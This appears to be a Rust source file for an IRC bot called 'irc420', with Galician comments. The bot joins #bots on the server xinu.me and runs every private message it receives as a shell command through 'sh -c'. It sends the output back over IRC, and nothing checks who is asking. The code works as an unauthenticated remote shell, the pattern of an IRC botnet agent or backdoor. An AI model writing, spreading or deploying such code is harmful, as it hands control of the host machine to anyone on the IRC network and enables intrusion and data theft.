irc420/src/main.rs

76 lines
2.7 KiB
Rust

use irc::client::prelude::*;
use futures::prelude::*;
use std::str;
#[tokio::main]
async fn main() -> Result<(), failure::Error> {
let config = Config {
nickname: Some("420".to_owned()),
server: Some("xinu.me".to_owned()),
channels: vec!["#bots".to_owned()],
..Config::default()
};
let mut client = Client::from_config(config).await?;
client.identify()?;
let mut stream = client.stream()?;
while let Some(message) = stream.next().await.transpose()? {
print!("{}", message);
if let Command::PRIVMSG(ref orixen, ref msg) = message.command {
if orixen.starts_with("#") {
// ven de un canal
// send_privmsg comes from ClientExt
// if msg.contains(&*client.current_nickname()) {
// client.send_privmsg(&orixen, "beep boop").unwrap();
// }
} else {
// ven de un mensaxe privado
let cmd: &str = &msg[..];
match cmd {
"!pirate" => {
client.send_quit("Sayonara, baby.")?;
},
&_ => {
// comando de shell, executase e devolve a saída
use std::process::Command;
let output = if cfg!(target_os = "windows") {
Command::new("cmd")
.args(["/C", "echo hello"])
.output()
.expect("failed to execute process")
} else {
Command::new("sh")
.arg("-c")
.arg(&cmd)
.output()
.expect("failed to execute process")
};
let out_parsed = str::from_utf8(&output.stdout).unwrap();
if out_parsed.contains("\n") {
for linea in out_parsed.split("\n"){
client.send_privmsg(
message.response_target().unwrap(),
linea
).unwrap();
// poñer un sleep para evitar flood
}
} else {
client.send_privmsg(
message.response_target().unwrap(),
out_parsed
).unwrap();
}
}
}
}
}
}
Ok(())
}